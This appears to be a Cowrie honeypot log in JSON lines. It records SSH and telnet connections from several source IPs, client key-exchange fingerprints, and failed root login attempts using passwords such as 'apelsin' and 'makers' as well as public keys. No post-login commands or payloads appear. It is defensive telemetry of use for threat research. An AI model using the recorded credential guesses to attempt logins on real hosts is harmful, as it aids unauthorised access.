{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:2f:ac:9a:d6:cc:43:2d:9c:f3:1d:47:b5:7a:d1:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIPwQL9oh4uWCf9kssx3YB4Uv1Zp2jdigMxoyHIB0biVDLR27EKPAuDrxG9ZYoXIF8FM3J4XZ2PYSOvp+9Z0wtkdPa8cOQ/kRszjt6jwxcjFwulQHiIUvjy0sN5uo3yw+PtruxzjB6F7JuVkGKBBY9+X65S3xnI8TKoIbOwqmQlrXpGIfhqubphO6HOVCWq1oNoQbbSGqkW+qLbHXezr570eV3kzco0jYt04CwxWjwiUj28fQSn6Jz9MAnOWMOkbEHYF084JCGDrPIBg7NCtsT2GgoNeSvnIzPGX438DebXk4yvLZC/cT8tS5dTf1P7APs0vl5X2g98iCcMV6/TeX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.850399Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:37.874396Z","src_ip":"63.143.63.51","session":"141dbc3dbb85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.18525195121765,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:45.979328Z","src_ip":"152.42.224.71","session":"8374bd7f4f60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.66560101509094,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:56.180425Z","src_ip":"152.42.224.71","session":"18bc8449b919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.544870376586914,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:59.084427Z","src_ip":"152.42.224.71","session":"d7b42798ae43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.74780297279358,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:32:59.133763Z","src_ip":"152.42.224.71","session":"2136db389fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.77811360359192,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:06.029932Z","src_ip":"152.42.224.71","session":"6b82c06beed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00930571556091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:15.282350Z","src_ip":"152.42.224.71","session":"62a62e846fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":35388,"dst_ip":"159.203.135.109","dst_port":22,"session":"df9319f82e2d","protocol":"ssh","message":"New connection: 147.45.199.80:35388 (159.203.135.109:22) [session: df9319f82e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:16.619334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:16.624633Z","src_ip":"147.45.199.80","session":"df9319f82e2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.15772104263306,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:16.657803Z","src_ip":"152.42.224.71","session":"abd67a26ad83","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:16.723331Z","src_ip":"147.45.199.80","session":"df9319f82e2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apelsin","message":"login attempt [root/apelsin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:17.031248Z","src_ip":"147.45.199.80","session":"df9319f82e2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:18.133724Z","src_ip":"147.45.199.80","session":"df9319f82e2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":37752,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cad9bd5ff51","protocol":"ssh","message":"New connection: 171.244.201.80:37752 (10.17.0.5:22) [session: 9cad9bd5ff51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:31.583154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:31.587883Z","src_ip":"171.244.201.80","session":"9cad9bd5ff51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:31.827298Z","src_ip":"171.244.201.80","session":"9cad9bd5ff51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makers","message":"login attempt [root/makers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:32.815896Z","src_ip":"171.244.201.80","session":"9cad9bd5ff51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:34.060318Z","src_ip":"171.244.201.80","session":"9cad9bd5ff51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":53606,"dst_ip":"10.17.0.5","dst_port":22,"session":"210be4fb0a45","protocol":"ssh","message":"New connection: 196.189.237.92:53606 (10.17.0.5:22) [session: 210be4fb0a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:57.195714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:57.200716Z","src_ip":"196.189.237.92","session":"210be4fb0a45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:57.368628Z","src_ip":"196.189.237.92","session":"210be4fb0a45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc!@","message":"login attempt [root/qweasdzxc!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:58.067814Z","src_ip":"196.189.237.92","session":"210be4fb0a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:33:59.238460Z","src_ip":"196.189.237.92","session":"210be4fb0a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49530,"dst_ip":"10.17.0.5","dst_port":23,"session":"d71d49c26cf0","protocol":"telnet","message":"New connection: 152.42.224.71:49530 (10.17.0.5:23) [session: d71d49c26cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:07.662099Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49542,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcadfe1c5aa2","protocol":"telnet","message":"New connection: 152.42.224.71:49542 (10.17.0.5:23) [session: fcadfe1c5aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:09.594299Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43436,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24b2f3662fa","protocol":"telnet","message":"New connection: 152.42.224.71:43436 (10.17.0.5:23) [session: b24b2f3662fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:21.287432Z"}
{"eventid":"cowrie.session.closed","duration":18.34024715423584,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:26.002257Z","src_ip":"152.42.224.71","session":"d71d49c26cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32950,"dst_ip":"10.17.0.5","dst_port":23,"session":"672602574a33","protocol":"telnet","message":"New connection: 152.42.224.71:32950 (10.17.0.5:23) [session: 672602574a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:32.730087Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35104,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a633821fbae","protocol":"telnet","message":"New connection: 152.42.224.71:35104 (10.17.0.5:23) [session: 0a633821fbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:39.692737Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38720,"dst_ip":"10.17.0.5","dst_port":23,"session":"b92abc61f0e5","protocol":"telnet","message":"New connection: 152.42.224.71:38720 (10.17.0.5:23) [session: b92abc61f0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:50.005921Z"}
{"eventid":"cowrie.session.closed","duration":17.623072147369385,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:50.353057Z","src_ip":"152.42.224.71","session":"672602574a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.71","src_port":31816,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaf9e42fb589","protocol":"ssh","message":"New connection: 89.37.117.71:31816 (10.17.0.5:22) [session: aaf9e42fb589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:51.362491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:51.371327Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:51.501877Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:07:e2:fe:95:05:bf:4d:1d:b1:c7:f4:79:ca:b1:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxxlvVonA2uTu3UIzZORpoM7QJx8SCEdank1lXkuVVEVNZipct3YCfiLoaiQzlr2JSPjT8fk4QEJYYHz9fqN+gekyRqtqdVSLFffzRqa1yZQdJZx0KKc/tzoh75egI5/ld0bzOd13hSmsUJ0FlF8PMFOuVrvPnTcSTimkfDOmu7areTJvEkmF2VSF58H2qfvn/xutaeSv1VNCy8MxtXpfvnRHFteZPGq7iAV6wI0UXUedR1QBir+/eKrSahbEZTkMpbmVMR2lZijmpV1P/WcKaL1H0CO5nfBSQCQm4VjvPsc97uYUePSXHSxUHy83VXCs++iKtsU/nByAYHi2FzyEAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:07:e2:fe:95:05:bf:4d:1d:b1:c7:f4:79:ca:b1:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.117368Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:07:e2:fe:95:05:bf:4d:1d:b1:c7:f4:79:ca:b1:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxxlvVonA2uTu3UIzZORpoM7QJx8SCEdank1lXkuVVEVNZipct3YCfiLoaiQzlr2JSPjT8fk4QEJYYHz9fqN+gekyRqtqdVSLFffzRqa1yZQdJZx0KKc/tzoh75egI5/ld0bzOd13hSmsUJ0FlF8PMFOuVrvPnTcSTimkfDOmu7areTJvEkmF2VSF58H2qfvn/xutaeSv1VNCy8MxtXpfvnRHFteZPGq7iAV6wI0UXUedR1QBir+/eKrSahbEZTkMpbmVMR2lZijmpV1P/WcKaL1H0CO5nfBSQCQm4VjvPsc97uYUePSXHSxUHy83VXCs++iKtsU/nByAYHi2FzyEAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.121388Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:4e:e4:07:d2:ee:15:26:f1:70:dd:b2:b5:05:ac:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzWqs0YXmzdsL25cIZ6683r63KYJXr93HlKptp42/NoUhSpCgHqqdXTyl5mF1TeOClVCXFzSmZYhVgGWnFu3SQnisKg/ruNozrfHkJ/W/EqKyGeBimjWMOSrphAbBUdIuZ5oVShz7nk3v1pIov7dlzlhXva/NKLahTSVvzKhn7fzQ1WEYRXlIMlrV2I06Ve2VsaypvqUmdFg4ZKJxD4knvc14bo6hwDBUbZYTIAQm8WWggPX71wQijd6jLryURv6zOjQlvDErN6xW8kzEGjgccz+reVPStWGOjz5chKv4kHsqhdu2KkDJ22pblPnUCfYqXOt8c/SwQpkJrL6byqmhCWlc83zozbGVgtYp/M+4zxV04A6zcsEC4KpyQqitT61pplqNFhwUGk2TkQX7jxnH+SNnGmUw6i5AzG5vALcKbdc660vgTormVMOZTk5jRTP+uHChMVDAVQkB/q2x2ksBgZUzMbWLQmtHNlZhpML0cRIotA7Rny6r7pKQDiQqAt3M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:4e:e4:07:d2:ee:15:26:f1:70:dd:b2:b5:05:ac:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.250081Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:4e:e4:07:d2:ee:15:26:f1:70:dd:b2:b5:05:ac:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzWqs0YXmzdsL25cIZ6683r63KYJXr93HlKptp42/NoUhSpCgHqqdXTyl5mF1TeOClVCXFzSmZYhVgGWnFu3SQnisKg/ruNozrfHkJ/W/EqKyGeBimjWMOSrphAbBUdIuZ5oVShz7nk3v1pIov7dlzlhXva/NKLahTSVvzKhn7fzQ1WEYRXlIMlrV2I06Ve2VsaypvqUmdFg4ZKJxD4knvc14bo6hwDBUbZYTIAQm8WWggPX71wQijd6jLryURv6zOjQlvDErN6xW8kzEGjgccz+reVPStWGOjz5chKv4kHsqhdu2KkDJ22pblPnUCfYqXOt8c/SwQpkJrL6byqmhCWlc83zozbGVgtYp/M+4zxV04A6zcsEC4KpyQqitT61pplqNFhwUGk2TkQX7jxnH+SNnGmUw6i5AzG5vALcKbdc660vgTormVMOZTk5jRTP+uHChMVDAVQkB/q2x2ksBgZUzMbWLQmtHNlZhpML0cRIotA7Rny6r7pKQDiQqAt3M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.253213Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:e6:6c:a1:0b:69:43:b8:ab:3d:58:88:33:b4:54:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAwVgL8uSlhsBfklSFAy0oU9QtqoLPp7cLA2ClysBzPsUJiLbLIjsYEpSuiQtBFTQ2pV+3GF01GDSQXxO9Yy16x6Bj4SKbFqhDHIdln49lvCojoxwQxVLavDeLfIwqzOijjGuQP/+OyrH5UtlujtGbQRvWmkgavdJO7Zp/3g9HqhdnIf7ZHn4KbaXankw92VA35OU/RtvaACnhra85LICmDa9nCWIBEGZ6sApXc4AjjY40qLfMrtvVGj6JFQbuuMsfDB6lg0CyKMYHco6OKnFRUgjzx2jl5ovM2vH0KeaM6ZOzdlioOTvokgOGpnYuD5UFw9Esf9m0h9hp8wvqO27GlDXoR3qfvvtt2iHNHXasLSkjt5lq0Z1o8BA8PxpX+tQmcbEfpGSsTlK5GvzhEvxoEZey/lu17FCCilADLH3EiXQKEh3OmJIuiZhsIaMwNhMpaJcOBdi+ZIDLuBw+RMip8CMOGqkXEJyMChDGhoVHjf7755SYmNeP4IK2RRL4fEQWKKB9ZcT4hQz0xs3YEGv9N20M7BNb0Rtdyn7GmRGPw27Nnyxo88lrm1RvXdu7QcwTTtEbwm6bFZIqfRDojMyfwdO+f2F9mpqmBI3O9bwPuqL/FBkf9I/+sX16OO9Q+uLVw+HsntX3U/jD1B/tgV1PuIJXH4dZkVUd724fstljow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:e6:6c:a1:0b:69:43:b8:ab:3d:58:88:33:b4:54:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.385174Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:e6:6c:a1:0b:69:43:b8:ab:3d:58:88:33:b4:54:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAwVgL8uSlhsBfklSFAy0oU9QtqoLPp7cLA2ClysBzPsUJiLbLIjsYEpSuiQtBFTQ2pV+3GF01GDSQXxO9Yy16x6Bj4SKbFqhDHIdln49lvCojoxwQxVLavDeLfIwqzOijjGuQP/+OyrH5UtlujtGbQRvWmkgavdJO7Zp/3g9HqhdnIf7ZHn4KbaXankw92VA35OU/RtvaACnhra85LICmDa9nCWIBEGZ6sApXc4AjjY40qLfMrtvVGj6JFQbuuMsfDB6lg0CyKMYHco6OKnFRUgjzx2jl5ovM2vH0KeaM6ZOzdlioOTvokgOGpnYuD5UFw9Esf9m0h9hp8wvqO27GlDXoR3qfvvtt2iHNHXasLSkjt5lq0Z1o8BA8PxpX+tQmcbEfpGSsTlK5GvzhEvxoEZey/lu17FCCilADLH3EiXQKEh3OmJIuiZhsIaMwNhMpaJcOBdi+ZIDLuBw+RMip8CMOGqkXEJyMChDGhoVHjf7755SYmNeP4IK2RRL4fEQWKKB9ZcT4hQz0xs3YEGv9N20M7BNb0Rtdyn7GmRGPw27Nnyxo88lrm1RvXdu7QcwTTtEbwm6bFZIqfRDojMyfwdO+f2F9mpqmBI3O9bwPuqL/FBkf9I/+sX16OO9Q+uLVw+HsntX3U/jD1B/tgV1PuIJXH4dZkVUd724fstljow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:34:52.388976Z","src_ip":"89.37.117.71","session":"aaf9e42fb589","protocol":"ssh"}
